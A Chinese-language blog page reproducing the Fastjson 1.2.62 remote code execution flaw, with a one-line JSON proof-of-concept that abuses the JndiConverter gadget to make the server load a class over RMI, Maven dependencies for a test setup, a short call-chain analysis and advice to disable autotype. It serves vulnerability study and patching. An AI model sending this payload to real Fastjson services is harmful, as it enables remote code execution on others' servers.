您的位置:首页 > Web前端 > JavaScript

Fastjson <=1.2.62 远程代码执行-漏洞复现

2020-02-23 11:30 555 查看

影响范围:

Fastjson<=1.2.62

需要开启autotype

poc:

String text1 = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://127.0.0.1:1099/exploit\"}";

pom:

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

tips:这里需要另外导入jar包才能测试

该黑名单主要来自于jackson-CVE-2020-8840

https://nvd.nist.gov/vuln/detail/CVE-2020-8840

漏洞复现:

漏洞分析

 这里明显存在jndi注入,但是toObjectImpl不满足fastjson调用规则,因此查看其父类函数

 其父类中在toObject函数中调用了它,但是仍然不满足调用条件,因此继续溯源

 可以看到在setAsText函数中调用了toObject函数,并且set满足调用规则,确定Astext属性,因此payload即打

github环境:

https://github.com/Wfzsec/FastJson1.2.62-RCE

修复建议:

1.关了autotype,用白名单(推荐)

2.升级jdk(不太现实)

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: